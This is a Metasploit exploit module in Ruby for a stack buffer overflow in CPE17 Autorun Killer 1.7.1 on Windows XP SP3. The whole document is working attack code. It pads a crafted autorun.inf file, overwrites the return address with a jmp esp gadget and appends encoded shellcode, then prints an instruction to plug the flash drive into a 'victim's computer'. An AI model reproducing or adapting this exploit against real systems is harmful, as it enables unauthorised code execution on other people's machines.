CPE17 Autorun Killer 1.7.1 – Local Stack Buffer Overflow (Metasploit)
# # CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit # by Xelenonz require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit', 'Description' => %q{ readfile function is vulnerable it can be overflow }, 'Author' => [ 'Xelenonz' ], 'Version' => '0.1', 'Payload' => { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => {'BufferRegister'=>'ECX'}, }, 'DefaultOptions' => { 'DisablePayloadHandler' => 'true', }, 'Platform' => 'windows', 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x775a676f, 'Offset' => 500 } ], ], 'DefaultTarget' => 0, 'Privileged' => false )) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'autorun.inf']), ], self.class) end def exploit print_status("Encoding Payload ...") enc = framework.encoders.create("x86/alpha_mixed") enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} ) hunter = enc.encode(payload.encoded, nil, nil, platform) buffer = "" buffer << "A"*target['Offset'] # padding offset buffer << [target.ret].pack('V') # jmp esp buffer << hunter # shellcode print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(buffer) print_status("Plug flashdrive to victim's computer") handler end end |